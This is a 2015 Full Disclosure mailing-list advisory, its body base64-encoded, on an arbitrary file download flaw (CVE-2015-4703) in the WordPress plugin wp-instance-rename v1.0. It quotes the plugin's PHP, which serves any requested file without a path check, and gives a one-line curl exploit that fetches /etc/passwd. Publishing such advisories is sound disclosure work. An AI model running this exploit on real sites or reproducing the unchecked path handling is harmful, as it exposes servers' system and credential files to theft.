From full-disclosure  Fri Jun 26 00:45:18 2015
From: "Larry W. Cashdollar" <larry0 () me ! com>
Date: Fri, 26 Jun 2015 00:45:18 +0000
To: full-disclosure
Subject: [FD] Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Message-Id: <6814ADA4-7EAF-40D6-9515-F875DE6F5668 () me ! com>
X-MARC-Message: https://marc.info/?l=full-disclosure&m=143535559802178

VGl0bGU6IEFyYml0cmFyeSBGaWxlIGRvd25sb2FkIGluIHdvcmRwcmVzcyBwbHVnaW4gd3AtaW5z
dGFuY2UtcmVuYW1lIHYxLjAKQXV0aG9yOiBMYXJyeSBXLiBDYXNoZG9sbGFyLCBAX2xhcnJ5MApE
YXRlOiAyMDE1LTA2LTEyCkRvd25sb2FkIFNpdGU6IGh0dHBzOi8vd29yZHByZXNzLm9yZy9wbHVn
aW5zL3dwLWluc3RhbmNlLXJlbmFtZS8KVmVuZG9yOiBWbGFqbwpWZW5kb3IgTm90aWZpZWQ6IDIw
MTUtMDYtMTIKQWR2aXNvcnk6IGh0dHA6Ly93d3cudmFwaWQuZGhzLm9yZy9hZHZpc29yeS5waHA/
dj0xMjcKVmVuZG9yIENvbnRhY3Q6CkRlc2NyaXB0aW9uOiBXb3JkUHJlc3MgUmVuYW1lIHBsdWdp
biBhbGxvd3MgeW91IHRvIGVhc2lseSByZW5hbWUgdGhlIGNvbXBsZXRlIFdvcmRQcmVzcyBpbnN0
YWxsYXRpb24uIFRoaXMgcGx1Z2luIGFsbG93cyB5b3UgdG8gcmVuYW1lIFdvcmRQcmVzcyBkYXRh
YmFzZSwgV29yZFByZXNzIGRpcmVjdG9yeSwgY2hhbmdlIGV2ZXJ5IG5lY2Vzc2FyeSBjb25maWd1
cmF0aW9uIGZpbGUsIGVhc2lseSBmcm9tIG9uZSBwYWdlLgpWdWxuZXJhYmlsaXR5OgpUaGUgY29k
ZSBpbiBteXNxbGR1bXBfZG93bmxvYWQucGhwIGRvZXNuJ3QgY2hlY2sgdGhhdCB0aGUgcmVxdWVz
dGVkIGZpbGUgaXMgd2l0aGluIHRoZSBpbnRlbmRlZCBkb3dubG9hZCBkaXJlY3Rvcnk6Cgp0cnl7
CgkkZGJuYW1lICAgPSAkX0dFVFsiZGJuYW1lIl07CgkkZHVtcGZuYW1lID0gJF9HRVRbImR1bXBm
bmFtZSJdOwoJJGJhY2t1cF9mb2xkZXIgPSAkX0dFVFsiYmFja3VwX2ZvbGRlciJdOwkKfWNhdGNo
IChFeGNlcHRpb24gJGUpe30KCmlmKGVtcHR5KCRiYWNrdXBfZm9sZGVyKSl7CgkkYmFja3VwX2Zv
bGRlcj0iYmFja3VwLyI7Cn0KZWNobyAiJGR1bXBmbmFtZSI7CmlmIChmaWxlX2V4aXN0cygkZHVt
cGZuYW1lKSkgewkJCgkvLyB6aXAgdGhlIGR1bXAgZmlsZQkKCSRuYW1lPSRkYm5hbWUgLiAiXyIg
LiBkYXRlKCJZLW0tZCIpOwkKCSR6aXBmbmFtZSA9ICRiYWNrdXBfZm9sZGVyLiRuYW1lLiIuemlw
IjsKCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwkKCWlmKCR6aXAtPm9wZW4oJHppcGZuYW1lLFpJ
UEFSQ0hJVkU6OkNSRUFURSkpIAoJewoJICAgJHppcC0+YWRkRmlsZSgkZHVtcGZuYW1lLCRkdW1w
Zm5hbWUpOwoJICAgJHppcC0+Y2xvc2UoKTsKCX0JCgkvLyByZWFkIHppcCBmaWxlIGFuZCBzZW5k
IGl0IHRvIHN0YW5kYXJkIG91dHB1dAoJaWYgKGZpbGVfZXhpc3RzKCR6aXBmbmFtZSkpIHsKCQlo
ZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsKCQloZWFkZXIoJ0Nv
bnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CgkJaGVhZGVyKCdDb250ZW50
LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLmJhc2VuYW1lKCR6aXBmbmFtZSkp
OwoJCWZsdXNoKCk7CgkJcmVhZGZpbGUoJHppcGZuYW1lKTsKCkNWRUlEOiAyMDE1LTQ3MDMKT1NW
REI6CkV4cGxvaXQgQ29kZToKCeKAoiBjdXJsIC0tZGF0YSAiZGJuYW1lPXdwJmR1bXBmbmFtZT0v
ZXRjL3Bhc3N3ZCZiYWNrdXBfZm9sZGVyPS4iICBodHRwOi8vd3d3LmV4YW1wbGUuY29tL3dwLWlu
c3RhbmNlLXJlbmFtZS9teXNxbGR1bXBfZG93bmxvYWQucGhwIC1vIHAuemlwCgpfX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50IHRocm91Z2ggdGhlIEZ1
bGwgRGlzY2xvc3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9yZy9tYWlsbWFuL2xpc3Rp
bmZvL2Z1bGxkaXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDovL3NlY2xpc3RzLm9y
Zy9mdWxsZGlzY2xvc3VyZS8=